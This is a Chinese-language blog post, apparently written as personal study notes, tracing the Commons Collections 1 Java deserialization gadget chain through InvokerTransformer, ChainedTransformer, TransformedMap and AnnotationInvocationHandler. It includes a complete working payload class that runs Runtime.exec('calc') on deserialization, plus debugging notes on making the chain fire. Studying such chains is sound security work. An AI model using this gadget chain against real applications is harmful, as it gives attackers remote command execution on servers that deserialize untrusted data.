CC1

序

其实之前看文章、看视频学过一遍,也记了笔记,但是印象不深,面试被问到还是说不清楚,所以决定自己跟一下代码流程,并作此记录。

环境配置

1.commons-collections 3.1-3.2.1

在pom.xml中写入以下依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

2.jdk < 8u71,这里使用jdk8u65,下载地址https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

别去中文官网,会下成jdk8u111,下载安装之后进入jdk目录,解压src.zip到src目录下

3.下载openjdk8u65,https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载zip,解压,进入该文件夹的 src/share/classes目录下,将 sun 文件夹复制到jdk8u65的 src 文件夹中,并在IDEA的项目结构->SDKs->source path处把原来的src.zip换成刚刚新建的src文件夹。如果没有这一步,由于没有.java文件,idea会反编译class文件,变量名难读且在Find usage的时候搜不到。maven也有class文件,应该选择download source

反射调用

反射的概念

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制(注意关键词:运行状态)换句话说,Java程序可以加载一个运行时才得知名称的class,获悉其完整构造(但不包括methods定义),并生成其对象实体、或对其fields设值、或唤起其methods。

为啥要用反射?

原来,Java安全机制会对代码的执行进行限制,例如限制代码的访问权限、限制代码的资源使用等。如果代码需要执行一些危险的操作,例如执行系统命令,就需要获取Java的安全权限。获取Java的安全权限需要经过一系列的安全检查,例如检查代码的来源、检查代码的签名等。如果代码没有通过这些安全检查,就无法获取Java的安全权限,从而无法执行危险的操作。然而,反射机制可以绕过Java安全机制的限制,比如可以访问和修改类的私有属性和方法,可以调用类的私有构造方法,可以创建和访问动态代理对象等。这些操作都是Java安全机制所禁止的,但是反射机制可以绕过这些限制,从而执行危险的操作。

反射弹计算器

下面给出一个反射弹计算器的demo

1
2
3
4
5
6
7
public static void main(String[] args)throws Exception
{
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"calc");
}

InvokerTransformer

这是Commons Collections 库中的一个类,他的transform方法也有一段反射:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class InvokerTransformer implements Transformer, Serializable {
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch .....

}

也就是说,刚才弹计算器的方法还可以这么写:

1
2
3
4
5
public static void main(String[] args)throws Exception
{
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}

1

如图,现在已经找到了最后执行恶意代码的位置,现在需要找谁调用了transform方法

TransformedMap

在transform方法上选择Find usage,找到了TransformedMap类的checkSetValue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

checkSetValue方法调用了valueTransformer参数的transform方法,找构造函数发现valueTransformer是传入的参数,但构造函数是protected,发现decorate方法调用了构造函数并且返回一个Map类型的参数

并且TransformedMap是继承自AbstractInputCheckedMapDecorator类的,AbstractInputCheckedMapDecorator有如下定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
abstract class AbstractInputCheckedMapDecorator
extends AbstractMapDecorator {
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

并且这里的setvalue方法调用了parent.checkSetValue,且value可控,然后发现parent来自protected EntrySet,接着向上找到public Set entrySet()有一个new EntrySet(map.entrySet(), this);完美

由上,再套一层,给出如下代码

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args)throws Exception
{
Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap();
map.put("key","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
}

调用图如下

2

AnnotationInvocationHandler

在AbstractInputCheckedMapDecorator类中的setValue方法上Find usage,可以直接找到重写了readObject的类调用了setValue方法,而且调用了entryset遍历map,即AnnotationInvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {

throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

构造函数如下:

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

这个类没有显式给出访问控制,即为default类型,只有同一包内的类可以访问,所以不能直接用,还是反射,用InvokerTransformer类

1
2
3
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

但是这么写有点麻烦,可以直接用ChainedTransformer。

ChainedTransformer也是一个Transformer的实现类,这个类自己维护了一个Transformer 数组, 在调用 ChainedTransformer 的 transform方法时,会循环数组,依次调用Transformer数组中每个Transformer的transform 方法,并将结果传递给下一个 Transformer。

3

ConstantTransformer会返回一个常量,该常量是传入的 Runtime.class,然后跟在它后面再连接起来

所以直接写成下面这样

1
2
3
4
5
6
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

现在,我们的代码是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class CC1WithTransformedMap {
public static void main(String[] args)throws Exception
{
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

HashMap<Object,Object> map = new HashMap();
map.put("key","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor= c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o =annotationInvocationhdlConstructor.newInstance(Override.class,transformedMap);
serialize(o); //序列化为ser.bin
unserialize("ser.bin");
}

但是这样是触发不了的,打断点看一下

4

可以看到这里有一个判断,memberType如果是null就不会进入到setValue方法,这里是空,研究一下

1
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

这行代码是获取注解类的成员变量及其类型,而Override注解类并没有成员变量

5

所以memberTypes里面没东西,memberType自然也就是null

6

所以需要我们传入的注解类是有成员变量的,这里用Target.class

7

此处修改代码,把Override.class换成Target.class,再调试一下

8

此时memberTypes已经有东西了,而且看到里面的key是”value”,这是Target.class里的value属性

但是memberTypes.get(name)之后的memberType就没东西了

于是接着分析代码,这段代码是遍历Map中的键值对

1
2
3
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);

memberValues是AnnotationInvocationHandler的构造函数的第二个参数,看前面代码,我们传进去的是

1
2
3
map.put("key","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Object o =annotationInvocationhdlConstructor.newInstance(Override.class,transformedMap);

打断点看一下new 的AnnotationInvocationHandler

9

发现memberValues里面的map正是我们传进去的map:”key”->”aaa”。而memberTypes里面没有叫”key”的键,所以memberType就是null。

所以,应该把传入的map的键改成Target.class里面有的键,即value。

当在memberTypes中的注解类的成员变量的键非空(Target.class类的value属性),才能进入到getValue。

下面还有一个判断:

1
if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))

value既不是memberType类型的实例,也不是ExceptionProxy类型的实例

10

判断为true,memberValue调用setValue方法,即transformedMap调用setValue,然后调用checkSetValue,然后transform,然后弹计算器

11

总结

1.前面提到的注解类的成员变量,不一定必须是Target.class,su18的文章中用的是Generated.class的comments 属性

2.我这篇文章的脉络是跟着白日梦组长走的,网上貌似把这条链子叫做CC0,CC1用的是LazyMap,后面我写的CC6会用到LazyMap,可以结合着看

参考

https://su18.org/post/ysoserial-su18-2/

https://www.bilibili.com/video/BV1no4y1U7E1


CC1
http://example.com/2024/12/07/CC1/
作者
想有双手
发布于
2024年12月7日
许可协议